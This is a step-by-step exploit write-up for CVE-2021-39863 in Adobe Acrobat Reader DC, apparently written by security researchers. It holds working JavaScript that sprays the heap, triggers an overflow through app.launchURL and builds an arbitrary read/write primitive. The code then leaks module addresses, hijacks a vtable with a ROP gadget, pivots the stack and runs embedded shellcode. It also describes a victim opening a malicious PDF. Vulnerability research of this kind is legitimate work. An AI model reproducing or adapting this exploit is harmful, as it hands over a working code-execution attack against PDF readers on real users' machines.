[Eng] CVE-2021-39863 Exploit
-
When you open a PDF containing an exploit code with a vulnerable version of Adobe, and if CFG (Control Flow Guard) is disabled, the exploit will proceed.
-
The GitHub link above contains the JavaScript code and PDF file used for the exploit.
- Inside the PDF file, you’ll find both (1) the base URL used in the exploit and (2) the embedded JavaScript code that executes the exploit.
-
The exploit bypasses the following security mitigations:
- ASLR (Address Space Layout Randomization)
- ASLR is a protection technique that randomizes the base addresses of the heap, stack, and code sections every time a program is executed.
- ASLR is bypassed by leaking BitmapData from the UserBlock Header, thereby obtaining an arbitrary read/write primitive.
- DEP (Data Execution Prevention)
- DEP is a protection technique that prevents code execution in non-executable areas such as the stack and heap.
- DEP is bypassed by performing stack pivoting through the heap.
- Stack pivoting is an attack technique where the attacker manipulates the stack pointer (esp) to trick the system into treating a desired area as the stack.
- ASLR (Address Space Layout Randomization)
-
Security Mitigations Not Bypassed:
- CFG (Control Flow Guard)
- CFG is a protection technique that prevents unexpected jumps to unintended addresses during program execution. It does this by adding a check function before every indirect call to ensure that the destination address is a safe one determined at compile time.
- Currently, the Adobe Ream is researching ways to bypass this mitigation.
- CFG (Control Flow Guard)
- The entire exploit process is as follows:
- Preparing Heap Layout
- The heap layout is prepared to obtain a read/write (R/W) primitive.
- Using the R/W primitive as a base, the exploit will access and manipulate data in arbitrary memory locations.
- If the byte length of an ArrayBuffer becomes -1, it becomes possible to access the entire memory using a DataView object created from that ArrayBuffer.
- The heap layout is designed so that a connected URL is stored between allocated ArrayBuffers. ⇒ During the URL connection process, the root cause leads to the byteLength of the adjacent ArrayBuffer being altered to -1.
- The heap layout is prepared to obtain a read/write (R/W) primitive.
- Get Arbitrary R/W Primitive
- Address Leak & Overwrite
- Preparing Stack Pivoting
- Preparing Heap Layout
1. Preparing Heap Layout
var strRelUrlSize = 0x600;
var strConUrlSize = 0x800;
function createArrayBuffer(blocksize) {
var arr = new ArrayBuffer(blocksize - 0x10);
var u8 = new Uint8Array(arr);
for (var i = 0; i < arr.byteLength; i++) {
u8[i] = 0x42;
}
return arr;
}
// 1. Create LFH heap space to store the string that will overwrite byteLength
var arrB = new Array(0xE0);
var sprayStr1 = unescape('%uFFFF%uFFFF%uFFFF%uFFFF%u0000') + unescape('%uFFFF').repeat((strRelUrlSize / 2) - 1 - 5);
for (var i = 0; i < arrB.length; i++) {
arrB[i] = sprayStr1.substr(0, (strRelUrlSize / 2) - 1).toUpperCase();
}
// 2. Designate space between strings to store the relativeURL
for (var i = 0x11; i < arrB.length; i += 10) {
arrB[i] = null;
arrB[i] = undefined;
}
// 3. Create LFH heap space to store the connected URL
var arrA = new Array(0x130);
for (var i = 0; i < arrA.length; i++) {
arrA[i] = createArrayBuffer(strConUrlSize);
}
// 4. Designate space in the LFH heap, allocated as an ArrayBuffer, where the connected URL will be placed
for (var i = 0x11; i < arrA.length; i += 10) {
arrA[i] = null;
arrA[i] = undefined;
}
// 5. Perform Garbage Collection (to actually free up the space for the URL)
gc();
- Preparing Heap Layout stage involves the following steps to set up the heap layout:
- Create an LFH heap space where the string is stored, that will overwrite the
byteLength.- Allocate strings with a length of 0x600 bytes (size of the relative URL) multiple times to activate the LFH.
- In the string
"%u????", the last 2 bytes (????) are encoded in Unicode. sprayStr1.substr(0, (strRelUrlSize / 2) - 1).toUpperCase();represents (strRelUrlSize/2)-1 Unicode characters, excluding the 2-byte Null Terminator.- The string, excluding the 2-byte Null Terminator, is
strRelUrlSize-2bytes long. Including the 2-byte null terminator, this forms the length of the relative URL.
- In the string
- Allocate strings with a length of 0x600 bytes (size of the relative URL) multiple times to activate the LFH.
- Specify a space between strings where the relative URL will be stored.
- Create an LFH heap space to store the connected URL.
- Allocate ArrayBuffers multiple times with a size of 0x800 bytes (size of the connected URL) to activate the LFH.
- The sizes of each URL and heap header are as follows:
- Relative URL: 0x600 bytes (including null character)
- Base URL: 0x200 bytes (including null character)
- ArrayBuffer header: 0x10 bytes
- Heap metadata: 0x08 bytes
- The relative URL and base URL are stored as follows:
- The relative URL is stored as a string in the
stringsobject. - The base URL is copied into the space declared by the ArrayBuffer.
- The relative URL is stored as a string in the
- The URLs are connected through the following process:
- The base URL is copied into the heap space reserved for the connected URL.
- The relative URL is then copied after the base URL.
- Due to the root cause, the string connected to the relative URL is copied after the relative URL.
- This string overwrites the
byteLengthof the next ArrayBuffer with 0xFFFFFFFF.
- This string overwrites the
- Specify a space in the LFH, allocated as an ArrayBuffer, where the connected URL will be stored.
[Figure 1] Process of Preparing Heap Layout
- Create an LFH heap space where the string is stored, that will overwrite the
2. Triggering the Vulnerability
function triggerHeapOverflow() {
try {
app.launchURL('bb' + 'a'.repeat(0x2608 - 2 - 0x200 - 1 -0x8));
} catch(err) {}
}
- The
baseURLis copied to the front part of the heap space allocated for the connected URL.- At this point, since the heap is a regular Heap and not an ArrayBuffer, the
baseURLis copied immediately after the heap chunk metadata (starting from where the ArrayBuffer header would be, when it was allocated as an ArrayBuffer).
- At this point, since the heap is a regular Heap and not an ArrayBuffer, the
- The
relative URLis copied to the back part of the heap space allocated for the connected URL, overwriting thebyteLengthfield of the connected ArrayBuffer.- In [Figure 2] and [Figure 3], “Base” represents
baseURLand “relative” representsrelativeURL.
- In [Figure 2] and [Figure 3], “Base” represents
[Figure 2] The heap immediately after storing the
baseURL in the heap allocated for the connected URL, and the subsequent heap (ArrayBuffer)
[Figure 3] The state of the heap after the URLs are connected, showing the heap where the two URLs are concatenated and the state of the subsequent heap (ArrayBuffer)
3. Get Arbitrary R/W primitive
// 1. Implement a relative read/write (r/w) primitive by accessing an out-of-bounds (oob) index.
for (var i = 0; i < arrA.length; i++) {
if (arrA[i] != null && arrA[i].byteLength == 0xFFFF) {
var temp = new DataView(arrA[i]);
temp.setInt32(0x7F0 + 0x8 + 0x4, 0xFFFFFFFF, true);
}
if (arrA[i] != null && arrA[i].byteLength == -1) {
var rw = new DataView(arrA[i]);
break;
}
}
// 2. Obtain the out-of-bounds (oob) base VA (= StartAddr) => Control arbitrary VA values.
if (rw) {
curChunkBlockOffset = rw.getUint8(0xFFFFFFED, true);
BitMapBufOffset = curChunkBlockOffset * (strConUrlSize + 8) + 0x18
for (var i = 0; i < 0x30; i += 4) {
BitMapBufOffset += 4;
signature = rw.getUint32(0xFFFFFFFF + 1 - BitMapBufOffset, true);
if (signature == 0xF0E0D0C0) {
BitMapBufOffset -= 0xC;
BitMapBuf = rw.getUint32(0xFFFFFFFF + 1 - BitMapBufOffset, true);
break;
}
}
if (BitMapBuf) {
StartAddr = BitMapBuf + BitMapBufOffset - 4;
}
}
[Figure 4] Process to Obtain the r/w Primitive
- To control the memory values at arbitrary addresses, the following steps are required to obtain the R/W primitive:
-
After triggering the vulnerability, the
byteLengthof the ArrayBuffer immediately following the connected URL is overwritten with 0xFFFF.
- Overwrite the
byteLengthof the ArrayBuffer with -1.- Recognize the ArrayBuffer immediately after the connected URL and modify the
byteLengthof the associated ArrayBuffer to 0xFFFFFFFF (-1).
- Recognize the ArrayBuffer immediately after the connected URL and modify the
-
Set up a DataView object in the ArrayBuffer with the
byteLengthmodified to -1, creating the R/W primitive.
-
Obtain the virtual address (VA) of the data starting point (R/W primitive) from the ArrayBuffer modified in step 2.
[Figure 5] Schematic Diagram of the Process to Obtain the VA of the r/w Primitive Using the UserBlock Structure
-
Obtain the chunk number from the heap chunk header of the heap chunk where the ArrayBuffer, with its
byteLengthmodified to -1, is stored. - Calculate the offset between the start of the heap chunk header of the first heap chunk of the same size and the R/W primitive.
- The following values are needed for this calculation:
- Chunk number, chunk size
- Size of the heap chunk header (0x08 bytes)
- Size of the ArrayBuffer header (0x10 bytes)
-
Using these values, the offset can be calculated as follows:
offset = chunk number * chunk size + 0x08 + 0x10
- The following values are needed for this calculation:
- Calculate the offset between the R/W primitive and the signature (0xF0E0D0C0) defined by the LFH Userblock.
-
Starting from the R/W primitive, increment the offset by 4 bytes until you find the signature 0xF0E0D0C0 at the calculated offset from step 2.
offset = chunk number * chunk size + 0x08 + 0x10 + 4 * m
-
- Obtain the virtual address (VA) of the
BitmapDatain the UserBlock structure.- According to the structure of the UserBlock, retrieve the value stored in the pointer (address of
BitmapData).[Figure 6] Structure of the UserBlock Header- The
BusyBitmap.Buffer(Pointer) is located at an address 0x0C bytes higher than the Signature. - Thus, the offset between the R/W primitive and
BusyBitmap.Buffercan be calculated as follows:
offset = chunk number * chunk size + 0x08 + 0x10 + 4 * m - 0x0c[Figure 6] Structure of the UserBlock Header
&BitmapData = rw.getUint32(0xffffffff+0x1-offset, true) - The
- According to the structure of the UserBlock, retrieve the value stored in the pointer (address of
- Calculate the virtual address (VA) of the R/W primitive.
- The following values are needed for this calculation:
-
The offset obtained in step 4:
offset = chunk number * chunk size + 0x08 + 0x10 + 4 * m - 0x0c - The VA obtained in step 4.
- The size between the Pointer and
BitmapData(size of the Pointer, 0x04 bytes).
-
- Using these values, the VA of the R/W primitive,
startAddr, can be calculated as follows:startAddr = rw.getUint32(0xffffffff+0x1-offset, true) + offset - 0x04
- The following values are needed for this calculation:
-
With the VA of the R/W primitive, you can access any memory area by its address.
function readUint32(dataView, readAddr) { var offsetAddr = readAddr - StartAddr; if (offsetAddr < 0) { offsetAddr = offsetAddr + 0xFFFFFFFF + 1; } return dataView.getUint32(offsetAddr, true); } function writeUint32(dataView, writeAddr, value) { var offsetAddr = writeAddr - StartAddr; if (offsetAddr < 0) { offsetAddr = offsetAddr + 0xFFFFFFFF + 1 } return dataView.setUint32(offsetAddr, value, true); }- The two functions mentioned above serve as helper functions that assist in controlling the values pointed to by arbitrary VAs (
readAddr,writeAddr).
The operation of the Helper Functions is as follows:
- When provided with the VA of a specific memory location, the helper function calculates the offset between this VA and the R/W primitive’s VA.
-
The helper function then uses the DataView object of the R/W primitive to control the value at the offset position calculated in step 1.
Through this process, you can control memory values by using the VA of specific memory locations.
- The two functions mentioned above serve as helper functions that assist in controlling the values pointed to by arbitrary VAs (
-
-
4. Preparing Stack Pivoting
var heapSegmentSize = 0x10000;
heapSpray = new Array(0x8000);
for (var i = 0; i < 0x8000; i++) {
heapSpray[i] = new ArrayBuffer(heapSegmentSize - 0x10 - 0x8);
}
- Stack Pivoting is performed by moving the
esp(stack pointer) to an arbitrary address, tricking the program into treating that area as a fake stack. -
The fake stack where the
espis moved must have write permissions to allow the stack to grow and to prevent errors caused by the absence of write permissions.To ensure this, a large amount of heap space is allocated so that the fake stack where the
espis moved is more likely to have both read and write permissions. - However, since the fake stack does not always end up in the sprayed heap area (allocated heap space), the exploit does not always succeed.
5. Address Leak & Overwrite ⇒ Hijacking Execution Flow
// 1. START Information Leak// leak the base address of EScript
EScriptModAddr = readUint32(rw, readUint32(rw, StartAddr - 8) + 0xC) - 0x277548;
// leak VirtualProtect address in kernel32.dll used by EScript
VirtualProtectAddr = readUint32(rw, EScriptModAddr + 0x1B0060);
// leak address of vtable
var dataViewObjPtr = rw.getUint32(0xFFFFFFFF + 0x1 - 0x8, true);
var dvShape = readUint32(rw, dataViewObjPtr);
var dvShapeBase = readUint32(rw, dvShape);
var dvShapeBaseClasp = readUint32(rw, dvShapeBase);
// END Information Leak
// 2. Overwrite address of getProperty in vtable to address of ROP gadget
var offset = 0x1050AE;
writeUint32(rw, dvShapeBaseClasp + 0x10, EScriptModAddr + offset);
// 3. Set Shellcode
var shellcode = [0xec83e589, 0x64db3120, 0x8b305b8b, 0x5b8b0c5b, 0x8b1b8b1c, 0x08438b1b, 0x8bfc4589, 0xc3013c58, 0x01785b8b, 0x207b8bc3, 0x7d89c701, 0x244b8bf8, 0x4d89c101, 0x1c538bf4, 0x5589c201, 0x14538bf0, 0xebec5589, 0x8bc03132, 0x7d8bec55, 0x18758bf8, 0x8bfcc931, 0x7d03873c, 0xc18366fc, 0x74a6f308, 0xd0394005, 0x4d8be472, 0xf0558bf4, 0x41048b66, 0x0382048b, 0xbac3fc45, 0x63657878, 0x5208eac1, 0x6e695768, 0x18658945, 0xffffb8e8, 0x51c931ff, 0x78652e68, 0x61636865, 0xe389636c, 0xff535141, 0xb9c931d0, 0x73736501, 0x5108e9c1, 0x6f725068, 0x78456863, 0x65897469, 0xff87e818, 0xd231ffff, 0x00d0ff52];
var shellcodesize = shellcode.length * 4;
// Write Shell Code
for (var i = 0; i < shellcode.length; i++) {
writeUint32(rw, StartAddr + 0x18 + i * 4, shellcode[i]);
}
// 4. Setup new Stack
var newStackAddr = 0x5D000001;
writeUint32(rw, newStackAddr, VirtualProtectAddr); // RIP 1
writeUint32(rw, newStackAddr + 0x4, StartAddr + 0x18); // RIP 2
writeUint32(rw, newStackAddr + 0x8, StartAddr + 0x18); // Arg1 : Start address of the memory
writeUint32(rw, newStackAddr + 0xC, shellcodesize); // Arg2 : Size of the memory
writeUint32(rw, newStackAddr + 0x10, 0x40); // Arg3 : Memory protection constant: 0x40 (execute permission)
writeUint32(rw, newStackAddr + 0x14, StartAddr + 0x14); // Arg4 : Pointer to store the previous protection constant
// 5. try to access unknown property
// => call overwritten getProperty(ROP Gadget) in vtable
var foo = rw.execFlowHijack;
- Important variables or values are stored at the following locations:
-
The ROP Gadget is located at a specific offset within the
EScript.apifile, with the offset being fixed relative to the base ofEScript.api. In version 21.005.20048.43252 of Adobe Acrobat Reader DC, the offset of the ROP Gadget is0x1050AE.0x1050AE: mov esp, 0x5d000001; ret; - The new stack is at the location where the
espis moved by the ROP Gadget in step 1:0x5d000001. This area must be within the sprayed heap space for the exploit to proceed. - In our exploit code, the shellcode is positioned at
r/w primitive's location + 0x18.
-
- The process of leaking addresses, manipulating specific memory values, and executing the exploit is as follows:
- Perform information leakage to facilitate the exploit.
- Obtain the base address of
EScript.- Use the memory structure of JSObject (e.g., DataView) as described in JS Object - SpiderMonkey to obtain an address somewhere within
EScript. - Subtract the offset (0x277548) identified via IDA from the address obtained in step 1 to calculate the base address of
EScript.
- Use the memory structure of JSObject (e.g., DataView) as described in JS Object - SpiderMonkey to obtain an address somewhere within
-
Identify the offset of the VirtualProtect function in
EScriptandkernel32.dllusing IDA (= 0x1B0060).[Figure 7] VirtualProtect function call stored in the idata segment
- The VirtualProtect function grants execution permissions to the area where the shellcode is stored, allowing the shellcode to run correctly.
Note: The .idata section refers to the import table.
- Calculate the address of the VirtualProtect function in
kernel32.dll.- Use the base address of
EScriptobtained in step a and the offset to find the address of the VirtualProtect function called byEScript.api. - Access the address obtained in step i to calculate the virtual address (VA) of the VirtualProtect function in
kernel32.dll.
- Use the base address of
- Leak the address of the vtable.
- Use the memory structure of JSObject (e.g., DataView) as described in JS Object - SpiderMonkey to obtain the address of the property map used by
EScript.
- Use the memory structure of JSObject (e.g., DataView) as described in JS Object - SpiderMonkey to obtain the address of the property map used by
- Obtain the base address of
- Modify the property map to point to the ROP Gadget.
-
Alter the address of the
getPropertyfunction in the property map of therw DataViewobject to the address of the ROP Gadget.⇒ After this, calling the
getPropertyfunction of therw DataViewobject will trigger the ROP Gadget instead of the originalgetPropertyfunction.
-
- Write the shellcode in a location with write permissions.
- Write the shellcode in a location with write permissions. In this case, we placed it at
r/w primitive's location + 0x18.
- Write the shellcode in a location with write permissions. In this case, we placed it at
- Set up the new stack.
- The ROP Gadget being used moves
espto0x5D000001, so the new stack is set up relative to that address. -
The new stack is configured to support the following operations:
[Figure 8] Structure of the new stack (just before the ROP Gadget is executed)
-
Call the VirtualProtect function to grant execution permissions to the shellcode area.
[Figure 9] The state just before the
retinstruction is executed (left) and just before the VirtualProtect function is executed (right). -
Execute the shellcode.
[Figure 10] The state immediately after the VirtualProtect function prologue (left) and just before the shellcode execution (right).
- Since the VirtualProtect function is called with
jmp eip, the RIP is not additionally saved. - The address previously present in the stack (which is actually a disguised heap) at
StartAddr+0x18is treated as RIP.
- Since the VirtualProtect function is called with
-
- The ROP Gadget being used moves
- Trigger the exploit.
- The exploit is triggered when an attempt is made to reference a non-existent property (
execFlowHijack) of the DataView, leading to thegetPropertyfunction being called.
- The exploit is triggered when an attempt is made to reference a non-existent property (
- Perform information leakage to facilitate the exploit.
Scenario
- In the following scenario, the victim unknowingly downloads a PDF file containing the exploit code described above.
- With CFG (Control Flow Guard) disabled, the victim opens the downloaded file using a vulnerable version of Adobe Acrobat Reader DC.
- The exploit proceeds, resulting in the calculator being launched, as shown in the video.